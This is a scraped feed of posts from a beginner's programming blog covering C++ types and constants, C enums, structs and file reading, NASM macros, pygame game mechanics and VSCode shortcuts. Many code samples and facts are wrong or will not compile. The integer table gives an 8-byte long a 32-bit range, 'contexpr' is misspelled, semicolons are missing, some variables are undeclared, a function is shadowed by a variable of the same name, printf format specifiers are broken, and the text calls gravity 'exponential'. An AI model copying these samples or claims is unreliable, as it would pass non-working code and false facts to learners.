<tr><td style="text-align: left">signed int</td><td style="text-align: center">4</td><td style="text-align: left">[-2147483648 to 2147483647]</td></tr>
<tr><td style="text-align: left">unsigned int</td><td style="text-align: center">4</td><td style="text-align: left">[0 to 4294967295]</td></tr>
<tr><td style="text-align: left">signed long int</td><td style="text-align: center">8</td><td style="text-align: left">-2,147,483,648 to 2,147,483,647</td></tr>
<tr><td style="text-align: left">unsigned long int</td><td style="text-align: center">8</td><td style="text-align: left">0 to 4,294,967,295</td></tr>
<tr><td style="text-align: left">signed long long int</td><td style="text-align: center">8</td><td style="text-align: left">-(2^63) to (2^63)-1</td></tr>
<tr><td style="text-align: left">unsigned long long int</td><td style="text-align: center">8</td><td style="text-align: left">0 to 18,446,744,073,709,551,615</td></tr>
</tbody></table>
<h2 id="3-types-of-fractional-numbers">3. Types of fractional Numbers</h2>
<p>Types of fractional numbers:</p>
<ul>
<li>float</li>
<li>double</li>
<li>long double</li>
</ul>
<table><thead><tr><th style="text-align: left">Type</th><th style="text-align: center">Size (in bytes)</th><th style="text-align: left">Range</th><th style="text-align: left">Digits of precision</th></tr></thead><tbody>
<tr><td style="text-align: left">float</td><td style="text-align: center">4</td><td style="text-align: left">3.4 x 10<sup>-38</sup> to 3.4 x 10<sup>+38</sup></td><td style="text-align: left">7</td></tr>
<tr><td style="text-align: left">double</td><td style="text-align: center">8</td><td style="text-align: left">1.7×10<sup>-308</sup> to 1.7×10<sup>+308</sup></td><td style="text-align: left">15</td></tr>
<tr><td style="text-align: left">long double</td><td style="text-align: center">16</td><td style="text-align: left">1.7×10<sup>-308</sup> to 1.7×10<sup>+308</sup></td><td style="text-align: left">18</td></tr>
</tbody></table>
<h2 id="4-if-statement">4. If Statement</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
bool red_light {false};
bool green_light{true};
if(red_light == true){
std::cout << "Stop!" << std::endl;
}else{
std::cout << "Go through!" << std::endl;
}
if(green_light){
std::cout << "The light is green!" << std::endl;
}else{
std::cout << "The light is NOT green!" << std::endl;
}
return 0;
}
</code></pre>
<h2 id="5-type-casting">5. Type Casting</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
char value = 65 ; // ASCII character code for 'A'
std::cout << "value : " << value << std::endl; // A
std::cout << "value(int) : " << static_cast<int>(value) << std::endl;
return 0;
}
</code></pre>
<h2 id="6-integer-modifier-suffixes">6. Integer modifier suffixes</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> auto var6 { 123u}; // unsigned
auto var7 { 123ul}; //unsigned long
auto var8 { 123ll}; // long long
</code></pre>
<p>Thats it for day 2, hope you enjoyed the content.</p>
Constants in C++2024-05-02T00:00:00+00:002024-05-02T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/constants-in-cpp/<h2 id="1-const">1. Const</h2>
<blockquote>
<p><code>const</code> is used to create immutable variables or functions. By making a function or variable a constant, we lose the ability to modify the content in runtime.</p>
</blockquote>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
// immutable variable: the value of the variable cannot be changed to some other value
const int pi = 3.141;
return 0;
}
</code></pre>
<h2 id="2-constexpr-constant-expressions">2. Constexpr (Constant Expressions)</h2>
<blockquote>
<p>The constexpr keyword is used to declare variables, functions, and constructors that <code>can</code> be evaluated at compile time. This allows for increased performance by executing calculations during compilation rather than runtime. constexpr provides a powerful optimization technique for creating efficient and reliable code in C++.</p>
</blockquote>
<ul>
<li>The result is hardcoded to the machine before runtime (hardcoded in compile time).</li>
</ul>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
constexpr double pi = 3.141; // this variable will be available before runtime. will be hardcoded to the machine code
constexpr double area(const double radius){
/*
- this function will be hardcoded to the machine code
- this function doesn't need to be looked up everytime that it is called
*/
return pi * (radius * radius);
}
int main(){
int area = area(2.5);
std::cout << "Area of the Circle : " << area << std::endl;
return 0;
}
</code></pre>
<h2 id="3-consteval">3. Consteval</h2>
<blockquote>
<p>The “consteval” keyword is used to specify that a function <code>must</code> be evaluated at compile time. It ensures that the function is constexpr and will be computed at compile time whenever possible, providing performance benefits by avoiding runtime computations.</p>
</blockquote>
<ul>
<li>Result from a consteval function should be stored in an contexpr variable.</li>
</ul>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
consteval int add(const int a, const int b){
return a + b;
}
int main(){
contexpr int answer = add(2,2);
std::cout << "Answer : " << answer << std::endl;
return 0;
}
</code></pre>
<h2 id="4-constinit">4. Constinit</h2>
<blockquote>
<p>The “constinit” keyword is used to specify that a variable must be initialized at compile time with a constant expression. It ensures that the variable is initialized only once before any dynamic initialization occurs, helping to avoid order-of-initialization issues and promoting more predictable program behavior.</p>
</blockquote>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int sub(const int a, const int b){
return a - b;
}
int main(){
constinit int x = 10 // correct
constinit int y = sub(10,5) // ERROR: the declaration value should be initialized at compile time.
}
</code></pre>
Day 01: Teaching myself C++2024-05-02T00:00:00+00:002024-05-02T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/day-01-learning-cpp/<h2 id="introduction">Introduction:</h2>
<p>I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository <a rel="noopener" target="_blank" href="https://github.com/rutura/The-C-20-Masterclass-Source-Code">The C 20 Masterclass source code</a>. I will compose this blog post to demonstrate the lessons I learnt on my first day of analyzing his scripts.</p>
<h2 id="1-printing-strings">1. Printing Strings</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
std::cout << "Hello World!" << std::endl;
return 0;
}
</code></pre>
<h2 id="2-functions">2. Functions</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int addNumbers(const int number_1, const int number_2){
int result = number_1 + number_2;
return result;
}
int main(){
// method 1
sum = addNumbers(25,7);
std::cout << "Sum : " << sum << std::endl;
// method 2
std::cout << "Sum : " << addNumbers(3,42) << std::endl;
return 0;
}
</code></pre>
<h2 id="3-getting-user-input">3. Getting user input</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
std::string name;
int age;
std::cout << "Enter your full name" << std::endl;
std::getline(std::cin >> std::ws,name);
std::cout << "Enter your age" << std::endl;
std::cin >> age;
std::cout << "Hello " << full_name << " you are " << age << " years old!" << std::endl;
return 0;
}
</code></pre>
<h2 id="4-macros">4. Macros</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
#define NUM1 3
#define NUM2 5
int main(){
int sum = NUM1 + NUM2
std::cout << sum << std::endl;
return 0;
}
</code></pre>
<h2 id="5-const-constexpr-consteval-constinit">5. const, constexpr, consteval, constinit</h2>
<p>This became a huge topic since I had no idea about constexpr, consteval and constinit. so, I decided to write a seperate blog post explaining about these 4 topics. A detailed explanation about these can be found in the blog post <a rel="noopener" target="_blank" href="https://blog.vishalrashmika.me/blog/constants-in-cpp/">This blog post</a></p>
<h2 id="6-number-systems">6. Number Systems</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
int decimal_value = 22; // Decimal
int octal_value = 026; // Octal
int hex_value = 0x16; // Hexadecimal
int binary_value = 0b00010110; // Binary
std::cout << "Decimal : " << decimal_value << std::endl; // Output: 22
std::cout << "Octal : " << octal_value << std::endl; // Output: 22
std::cout << "Hexadecimal : " << hex_value << std::endl; // Output: 22
std::cout << "Binary : " << binary_value << std::endl; // Output: 22
return 0;
}
</code></pre>
<p>Thats it for day 1, hope you enjoyed the content.</p>
Algorithm Demonstrator Guide2024-04-08T00:00:00+00:002024-04-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/algorithm-demonstrator-guide/<h2 id="what-is-algorithm-demonstrator">What is Algorithm Demonstrator ?</h2>
<blockquote>
<p>Algorithm Demonstrator is a software designed in order to demonstrate how algorithms work. This software contains demonstrations for:</p>
<ol>
<li>Bubble Sort</li>
<li>Insertion Sort</li>
<li>Linear Search</li>
<li>Binary Search</li>
</ol>
</blockquote>
<h2 id="usage-guide">Usage guide</h2>
<p>The algorithm demonstrator support both generating a random number set as well as importing a number set from a text file. The user can choose the option they prefer.
If a text file is to be imported the text file should satisfies some conditions,</p>
<blockquote>
<ol>
<li>The text file should not contain any strings/text or decimal values.</li>
<li>The text file should only be stored in the .txt file format.</li>
<li>The text file must only contain 10 integers (whole numbers).</li>
<li>The integers should only be seperated by line breaks.</li>
</ol>
</blockquote>
<p>Example for a such text file:</p>
<pre><code>12
8
2
11
16
20
3
4
2
1
</code></pre>
<ol>
<li>First decide whether you are using the random number set or importing a number set from a file</li>
</ol>
<img src="https://i.imgur.com/mU5ljOY.png" style="width:500px;">
<ol start="2">
<li>Click the “Select” button</li>
<li>From the next window choose which algorithm you want to see the demonstration for,</li>
</ol>
<img src="https://i.imgur.com/FDKZCkJ.png" style="width:500px;">
<ol start="4">
<li>If you selected a sort algorithm press “sort” button to see the demonstration, or else if you selected a searching algorithm press “search” button to see the demonstration</li>
</ol>
<img src="https://i.imgur.com/qhMYLU0.png" style="width:500px;">
<img src="https://i.imgur.com/xLWy2cc.png" style="width:500px;">
Enums In C2023-09-11T00:00:00+00:002023-09-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/enum-in-c/<h1 id="what-are-enums">What are enums?</h1>
<blockquote>
<p>a user defined type of named integer identifiers helps to make a program more readable</p>
</blockquote>
<pre><code>#include <stdio.h>
enum Day{Sun = 1, Mon = 2, Tue = 3, Wed = 4, Thu = 5, Fri = 6, Sat = 7}
int main(){
enum Day today = sun;
printf("%d\n", today);
if (today == Sun || today == Sat)
{
printf("It's the weekend\n");
}
else{
printf("I have to work\n");
}
return 0;
}
</code></pre>
Reading files in C2023-09-11T00:00:00+00:002023-09-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/reading-and-writing-files-in-c/<h2 id="1-fopen">1.fopen</h2>
<pre><code> FILE* fptr;
//argv[1] = filename
fptr = fopen(argv[1], "r");
if (fptr == NULL) {
printf("Error: Missing File \"%s\"\n",argv[1]);
exit(0);
}
else{
char ch;
do {
ch = fgetc(fptr);
printf("%c", ch);
} while (ch != EOF);
// Closing the file
fclose(fptr);
}
</code></pre>
Struct In C2023-09-11T00:00:00+00:002023-09-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/strcut-in-c/<h1 id="what-are-structs">What are structs</h1>
<ul>
<li>collection of related members (“variables”)</li>
<li>very similar to classes in other programming languages</li>
</ul>
<pre><code>#include <stdio.h>
#include <string.h>
struct Player
{
char name[12];
int score;
};
int main(){
struct Player player1;
struct Player player2;
strcpy(player1.name, "Adam");
player2.score = 4;
strcpy(player2.name, "Peter");
player2.score = 6;
printf("%s\n", player1.name);
printf("d\n", player1.score);
printf("%s\n", player2.name);
printf("d\n", player2.score);
return 0;
}
</code></pre>
Subroutines, Macros And Defining Values With EQU In NASM2023-07-08T00:00:00+00:002023-07-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/subroutines-macros-and-defining-values-with-equ-in-nasm/<h2 id="subroutines">Subroutines</h2>
<ul>
<li>Subroutines are similar to functions.</li>
</ul>
<h3 id="sample-program">Sample Program</h3>
<pre><code>section .data
text db "Hello World!",10,0
text2 db "Arigato",10,0
section .text
global _start
_start:
mov rax, text
call _print
mov rax, text2
call _print
mov rax, 60
mov rdi, 0
syscall
;input: rax as pointer to string
;output: print string at rax
;rbx = counter of the loop
_print:
push rax
mov rbx, 0
_printloop:
inc rax
inc rbx
mov cl, [rax]
cmp cl, 0
jne _printloop
mov rax,1
mov rdi,1
pop rsi
mov rdx, rbx
syscall
ret
</code></pre>
<h2 id="macros">Macros</h2>
<p>A macro is a single instruction that expands into a predefined set of instructions to perform a particular task.</p>
<h3 id="defining-macros">Defining Macros</h3>
<pre><code>%macro <name> <argc>
...
<macro body>
...
%endmacro
</code></pre>
<h2 id="defining-values-with-equ">Defining Values With EQU</h2>
<p>EQU is used for defining constants for future use.</p>
<pre><code><name> equ <value>
</code></pre>
<h4 id="sample-program-1">Sample Program</h4>
<pre><code>STDIN equ 0
STDOUT equ 1
STDERR equ 2
SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60
section .data
digit db 0,10
section .text
global _start
%macro exit 0
mov rax, SYS_EXIT
mov rdi, 0
syscall
%endmacro
%macro printdigit 1
mov rax, %1
call _printraxdigit
%endmacro
%macro printdigitsum 2
mov rax, %1
add rax, %2
call _printraxdigit
%endmacro
_start:
printdigit 49
printdigit 50
printdigitsum 49, 51
exit
_printraxdigit:
;mov rax, 50
mov [digit], al
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rsi, digit
mov rdx, 2
syscall
ret
</code></pre>
Displaying The Score In Pygame2023-06-11T00:00:00+00:002023-06-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/displaying-score-in-pygame/<h2 id="method">Method</h2>
<blockquote>
<p><code>pygame.time.get_ticks()</code> – returns the time since the game started in milliseconds</p>
</blockquote>
<ol>
<li>Update the score on every frame</li>
<li>put the score on a surface</li>
<li>display the score surface</li>
</ol>
<pre><code># function to calculate the score
start_time = 0
def display_score():
current_time = int(pygame.time.get_ticks() / 1000) - start_time
score_surface = test_font.render(f'SCORE : {current_time}', False, 'Blue')
score_rectangle = score_surface.get_rect(midtop = (288,50))
screen.blit(score_surface,score_rectangle)
#print(current_time)
</code></pre>
<pre><code># inside the event loop code to restart the game by space
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
game_active = True
enemy_recatngle.right = 590
start_time = int(pygame.time.get_ticks() / 1000) # resets the time when space is pressed to restart the game
</code></pre>
<h2 id="implementation-example">Implementation Example</h2>
<pre><code># game
import pygame
from sys import exit
# initialize pygame
pygame.init()
# screen size
screen = pygame.display.set_mode((576,400))
game_active = True
# title
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
# sky and ground surfaces
ground_surface = pygame.image.load('assets/background/ground.png').convert_alpha()
sky_surface = pygame.image.load('assets/background/sky.png').convert_alpha()
# "My Game" font
test_font = pygame.font.Font('assets/fonts/font1.ttf', 25)
# text_surface = test_font.render('My Runner Game', False, 'Blue')
# text_rectangle = text_surface.get_rect(midtop = (288,50))
############################################################################################################
############################################################################################################
# displaying score
start_time = 0
def display_score():
current_time = int(pygame.time.get_ticks() / 1000) - start_time
score_surface = test_font.render(f'SCORE : {current_time}', False, 'Blue')
score_rectangle = score_surface.get_rect(midtop = (288,50))
screen.blit(score_surface,score_rectangle)
#print(current_time)
############################################################################################################
############################################################################################################
# enemy
enemy_image = pygame.image.load('assets/characters/enemy/enemy.png').convert_alpha()
enemy_recatngle = enemy_image.get_rect(midbottom = (576,324))
# Player
player_surface = pygame.image.load('assets/characters/player/player.png').convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (100,324))
player_gravity = 0
while True:
for event in pygame.event.get():
# code to exit the game
if event.type == pygame.QUIT:
pygame.quit()
exit()
if game_active:
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE and player_rectangle.bottom >= 324: # check whether the player is in the ground and the space key is pressed
player_gravity = -20
if event.type == pygame.MOUSEBUTTONDOWN:
if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom >= 324: # check whether the mouse touches the player and player is in the ground
player_gravity = -20
if event.type == pygame.KEYUP: # triggers when a pressed key is released
print("key Up")
############################################################################################################
############################################################################################################
else:
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
game_active = True
enemy_recatngle.right = 590
start_time = int(pygame.time.get_ticks() / 1000) # resets the time when space is pressed to restart the game
############################################################################################################
############################################################################################################
if game_active:
# display the sky and the ground
screen.blit(sky_surface, (0,0))
screen.blit(ground_surface, (0,76)) # (400-324)
# display the text
# pygame.draw.rect(screen, 'Pink', text_rectangle)
# pygame.draw.rect(screen, 'Pink', text_rectangle,20)
# screen.blit(text_surface, text_rectangle)
############################################################################################################
############################################################################################################
# display the score
display_score()
############################################################################################################
############################################################################################################
# animation of enemy
screen.blit(enemy_image, enemy_recatngle)
enemy_recatngle.right -= 4
if enemy_recatngle.right <= 0:
enemy_recatngle.right = 590
# player
player_gravity += 1
player_rectangle.y += player_gravity
# Creating the floor
if player_rectangle.bottom >= 324: player_rectangle.bottom = 324
# displaying the player
screen.blit(player_surface, player_rectangle)
# player collission
if player_rectangle.colliderect(enemy_recatngle):
game_active = False # doesn't quit the game it freezes
else:
screen.fill('Yellow')
pygame.display.update()
# frames per second (FPS)
clock.tick(60)
</code></pre>
Spawning Multiple Objects In Pygame (Using Timers) 2023-06-11T00:00:00+00:002023-06-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/spawning-multiple-objects-in-pygame/<h2 id="timers">Timers</h2>
<ul>
<li>custom user events that are triggered in certain time intervals</li>
</ul>
<h3 id="method">Method</h3>
<ol>
<li>Create Custom Events</li>
<li>Tell pygame to trigger that event continously</li>
<li>Add code in event loop to do something the timer is triggered</li>
</ol>
<blockquote>
<p>pygame.time.set_timer(evetn to be triggered, time time interval in milliseconds)</p>
</blockquote>
<ol>
<li>we create a list of obstacles rectangles</li>
<li>everytime the timer triggers we add a new rectangle to that list</li>
<li>we move every rectangle in that list to the left on every frame</li>
<li>delete rectangles that goes too far left</li>
</ol>
State Management In Pygame2023-06-11T00:00:00+00:002023-06-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/state-management-in-pygame/<h2 id="method">Method</h2>
<pre><code>game_active = True # global variable
if game_active:
current game code
(stores the game part of the game)
else:
game_over
(stores intro/menu of the game)
</code></pre>
<pre><code># if the player collide with the enemy, screen becomes Yellow
game_active = True: # global variable
if game_active:
# display the sky and the ground
screen.blit(sky_surface, (0,0))
screen.blit(ground_surface, (0,76)) # (400-324)
# display the text
pygame.draw.rect(screen, 'Pink', text_rectangle)
pygame.draw.rect(screen, 'Pink', text_rectangle,20)
screen.blit(text_surface, text_rectangle)
# animation of enemy
screen.blit(enemy_image, enemy_recatngle)
enemy_recatngle.right -= 4
if enemy_recatngle.right <= 0:
enemy_recatngle.right = 590
# player
player_gravity += 1
player_rectangle.y += player_gravity
# Creating the floor
if player_rectangle.bottom >= 324: player_rectangle.bottom = 324
# displaying the player
screen.blit(player_surface, player_rectangle)
# player collission
if player_rectangle.colliderect(enemy_recatngle):
game_active = False # doesn't quit the game it freezes
else:
screen.fill('Yellow')
</code></pre>
<h3 id="game-implementation">Game Implementation</h3>
<pre><code># game state Implementation Example Code
import pygame
from sys import exit
# initialize pygame
pygame.init()
# screen size
screen = pygame.display.set_mode((576,400))
game_active = True
# title
pygame.display.set_caption('Runner')
clock = pygame.time.Clock()
# sky and ground surfaces
ground_surface = pygame.image.load('assets/background/ground.png').convert_alpha()
sky_surface = pygame.image.load('assets/background/sky.png').convert_alpha()
# "My Game" font
test_font = pygame.font.Font('assets/fonts/font1.ttf', 25)
text_surface = test_font.render('My Runner Game', False, 'Blue')
text_rectangle = text_surface.get_rect(midtop = (288,50))
# enemy
enemy_image = pygame.image.load('assets/characters/enemy/enemy.png').convert_alpha()
enemy_recatngle = enemy_image.get_rect(midbottom = (576,324))
# Player
player_surface = pygame.image.load('assets/characters/player/player.png').convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (100,324))
player_gravity = 0
while True:
for event in pygame.event.get():
# code to exit the game
if event.type == pygame.QUIT:
pygame.quit()
exit()
if game_active:
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE and player_rectangle.bottom >= 324: # check whether the player is in the ground and the space key is pressed
player_gravity = -20
if event.type == pygame.MOUSEBUTTONDOWN:
if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom >= 324: # check whether the mouse touches the player and player is in the ground
player_gravity = -20
if event.type == pygame.KEYUP: # triggers when a pressed key is released
print("key Up")
else:
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE:
game_active = True
enemy_recatngle.right = 590 # reset the enemy position
if game_active:
# display the sky and the ground
screen.blit(sky_surface, (0,0))
screen.blit(ground_surface, (0,76)) # (400-324)
# display the text
pygame.draw.rect(screen, 'Pink', text_rectangle)
pygame.draw.rect(screen, 'Pink', text_rectangle,20)
screen.blit(text_surface, text_rectangle)
# animation of enemy
screen.blit(enemy_image, enemy_recatngle)
enemy_recatngle.right -= 4
if enemy_recatngle.right <= 0:
enemy_recatngle.right = 590
# player
player_gravity += 1
player_rectangle.y += player_gravity
# Creating the floor
if player_rectangle.bottom >= 324: player_rectangle.bottom = 324
# displaying the player
screen.blit(player_surface, player_rectangle)
# player collission
if player_rectangle.colliderect(enemy_recatngle):
game_active = False # doesn't quit the game it freezes
else:
screen.fill('Yellow')
pygame.display.update()
# frames per second (FPS)
clock.tick(60)
</code></pre>
Transforming Surfaces In Pygame2023-06-11T00:00:00+00:002023-06-11T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/transforming-surfaces-in-pygame/<h2 id="transforming">Transforming</h2>
<ul>
<li>Scaling</li>
<li>Rotate etc.</li>
</ul>
<h2 id="scaling">Scaling</h2>
<h3 id="scale">scale</h3>
<blockquote>
<p>pygame.transform.scale(player_surface(width,height))</p>
</blockquote>
<pre><code>pygame.transform.scale(player_surface(100,100))
</code></pre>
<h3 id="scale2x">scale2x</h3>
<blockquote>
<p>pygame.transform.scale2x(surface) – makes the x twice</p>
</blockquote>
<pre><code>pygame.transform.scale2x(player_surface)
</code></pre>
<h3 id="rotozoom">rotozoom</h3>
<blockquote>
<p>pygame.transform.rotozoom(surface, rotation angle, scale) – can be used to scale + rotate</p>
</blockquote>
<pre><code>pygame.transform.rotozoom(player_surface, 0, 2)
</code></pre>
Collisions With Rectangles & Mouse Inputs In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/collisions-with-rectangle/<blockquote>
<p>rect1.colliderect(rect2) – returns a boolean value. If there is a collision it returns 1</p>
</blockquote>
<blockquote>
<p>rect1.collidepoint((x,y)) – check whether if one point collide with a rectangle</p>
</blockquote>
<h2 id="using-the-mouse">Using The Mouse</h2>
<p>There are 2 ways of using the mouse in pygame,</p>
<ol>
<li>pygame.mouse</li>
</ol>
<ul>
<li>pygame.mouse.get_pressed - get the state of the mouse buttons</li>
<li>pygame.mouse.get_pos - get the mouse cursor position</li>
<li>pygame.mouse.get_rel - get the amount of mouse movement</li>
<li>pygame.mouse.set_pos - set the mouse cursor position</li>
<li>pygame.mouse.set_visible - hide or show the mouse cursor</li>
<li>pygame.mouse.get_visible - get the current visibility state of the mouse cursor</li>
<li>pygame.mouse.get_focused - check if the display is receiving mouse input</li>
<li>pygame.mouse.set_cursor - set the mouse cursor to a new cursor</li>
<li>pygame.mouse.get_cursor - get the current mouse cursor</li>
</ul>
<ol start="2">
<li>event loops</li>
</ol>
<ul>
<li>get mousemotion,</li>
<li>clicks</li>
<li>position etc.</li>
</ul>
<h2 id="using-pygame-mouse">Using pygame.mouse</h2>
<pre><code>mouse_position = pygame.mouse.get_pos() # getting the mouse position
if player_rectangle.collidepoint(mouse_position): # if the mouse position collide with the player rectangle (if true)
print(pygame.mouse.get_pressed()) # return a tuple of boolean values (False,False,False)
# (left mouse button, middle mouse button, right mouse button)
# prints true if any of the mouse buttons click on the player rectangle
</code></pre>
<h2 id="using-event-loops">Using Event loops</h2>
<h3 id="mousemotion-used-to-get-the-mouse-position-tuple-x-y">MOUSEMOTION (Used to Get the mouse position tuple (x,y))</h3>
<pre><code>for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
exit()
if event.type == pygame.MOUSEMOTION:
print(event.pos) # print the coordinates of the mouse movements (234,556)
</code></pre>
<pre><code>if event.type == pygame.MOUSEMOTION:
if player_rectangle.collidepoint((event.pos)):
print("collision")
# print("Collision") if the mouse touches the player
</code></pre>
<h3 id="mousebuttondown">MOUSEBUTTONDOWN</h3>
<pre><code>if event.type == pygame.MOUSEBUTTONDOWN: # Triggers if we click the Mouse
Print("Mouse Button Down")
</code></pre>
<h3 id="mousebuttonup">MOUSEBUTTONUP</h3>
<pre><code>if event.type == pygame.MOUSEBUTTONUP: # Triggers if we release the Mouse button
Print("Mouse Button Up")
</code></pre>
Colours In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/colors-in-pygame/<p>There are two types of colours in pygame:</p>
<ol>
<li>RGB</li>
<li>hexadecimal</li>
</ol>
<h2 id="1-rgb">1. RGB</h2>
<pre><code>rgb_color = (red, green, blue)
red_color = (255, 0, 0)
</code></pre>
<h2 id="hexadecimal">hexadecimal</h2>
<pre><code>hex_color = #rrggbb
box_color = #c0e8ec
</code></pre>
Creating Floors For Players In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/creating-floors-for-players-in-pygame/<h2 id="creating-the-floor">Creating The Floor</h2>
<ol>
<li>Check the Collision between player and floor</li>
<li>move player up if collission</li>
</ol>
<blockquote>
<p>if player.bottom > 324: player.bottom = 324 (324 = the top of the ground)</p>
</blockquote>
<pre><code># Creating the floor
if player_rectangle.bottom >= 324: player_rectangle.bottom = 324
# The screen should always be at the bottom
screen.blit(player_surface, player_rectangle)
</code></pre>
<h2 id="creating-the-ceil">Creating the Ceil</h2>
<pre><code>if event.type == pygame.KEYDOWN:
if event.key == pygame.K_SPACE and player_rectangle.bottom >= 324: # if space is pressed and player is on the ground
player_gravity = -20
if event.type == pygame.MOUSEBUTTONDOWN:
if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom >= 324: # if btn is pressed and player is on the ground
player_gravity = -20
</code></pre>
Drawing Rectangles In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/drawing-rectangles-in-pygame/<h2 id="pygame-draw">pygame.draw</h2>
<p>Can use to draw,</p>
<ul>
<li>rectangles</li>
<li>circles</li>
<li>lines</li>
<li>points</li>
<li>ellipses etc.</li>
</ul>
<h2 id="drawing-rectangles">Drawing Rectangles</h2>
<blockquote>
<p>pygame.draw.rect(display to draw, color, rectangle)</p>
</blockquote>
<blockquote>
<p>pygame.draw.rect(display to draw, color, rectangle, line width, border radius)</p>
</blockquote>
<pre><code>pygame.draw.rect(screen, 'Pink', text_rectangle)
</code></pre>
<h2 id="drawing-lines">Drawing Lines</h2>
<blockquote>
<p>pygame.draw.line(surface, color, start position(x,y), end position(x,y), width)</p>
</blockquote>
<pre><code># a line from top left corner to bottom right corner
pygame.draw.line(screen, 'Black', (0,0), (576,400), 5)
</code></pre>
<pre><code># a line that follows the mouse
pygame.draw.line(screen, 'Black', (0,0), pygame.mouse.get_pos() , 5)
</code></pre>
<h2 id="drawing-ellipses">Drawing Ellipses</h2>
<blockquote>
<p>pygame.draw.line(surface, color, rectangle, width)</p>
</blockquote>
<pre><code># drawing a elliplse in a new rectangle
pygame.draw.ellipse(screen, 'Brown', pygame.Rect(50,200,100,100))
</code></pre>
Essential VSCode Shortcuts2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/essential-vscode-shortcuts/<h2 id="easily-navigate-through-files">Easily Navigate Through Files</h2>
<blockquote>
<p>ctrl + shift + . </p>
</blockquote>
<h2 id="find-in-file">Find In File</h2>
<blockquote>
<p>ctrl + f </p>
</blockquote>
<h2 id="multi-line-editing">Multi-Line Editing</h2>
<blockquote>
<p>highlight + ctrl + d </p>
</blockquote>
<h2 id="move-lines">Move Lines</h2>
<blockquote>
<p>alt + arrow keys </p>
</blockquote>
<h2 id="copying-a-line-multiple-times">Copying A Line Multiple Times</h2>
<blockquote>
<p>alt + shift + arrow keys </p>
</blockquote>
<h2 id="hightlight-lines">Hightlight Lines</h2>
<blockquote>
<p>ctrl + l </p>
</blockquote>
<h2 id="closing-opened-files">Closing Opened Files</h2>
<blockquote>
<p>ctrl + w </p>
</blockquote>
<h2 id="command-pallette">Command Pallette</h2>
<blockquote>
<p>ctrl + p </p>
</blockquote>
<h3 id="command-pallette-commands">Command Pallette Commands</h3>
<blockquote>
<blockquote>
<p>– Command Execution
:23 – Move to line 23
@ – Symbols
‘#’ – Sections </p>
</blockquote>
</blockquote>
<h2 id="commenting-code">Commenting Code</h2>
<blockquote>
<p>highlight + ctrl + / </p>
</blockquote>
<h2 id="switching-through-opened-files">Switching Through Opened Files</h2>
<blockquote>
<p>ctrl + tab </p>
</blockquote>
Jumping, Falling And Gravity In Pygame2023-06-10T00:00:00+00:002023-06-10T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/jumping-and-gravity-in-pygame/<h2 id="gravity">Gravity</h2>
<ul>
<li>gravity is not a linear function it’s a exponential function</li>
<li>The longer you fall the faster you fall(exponential)</li>
</ul>
<h3 id="process">Process</h3>
<ol>
<li>gravity += somevalue –> Gravity variable that increases constantly</li>
<li>palyer.y += gravity –> (The falling rate)</li>
</ol>
<pre><code># player falling down with gravity
player_gravity = 0 # global variable
# exponential function
player_gravity += 1
player_rectangle.y += player_gravity
screen.blit(player_surface, player_rectangle)
</code></pre>
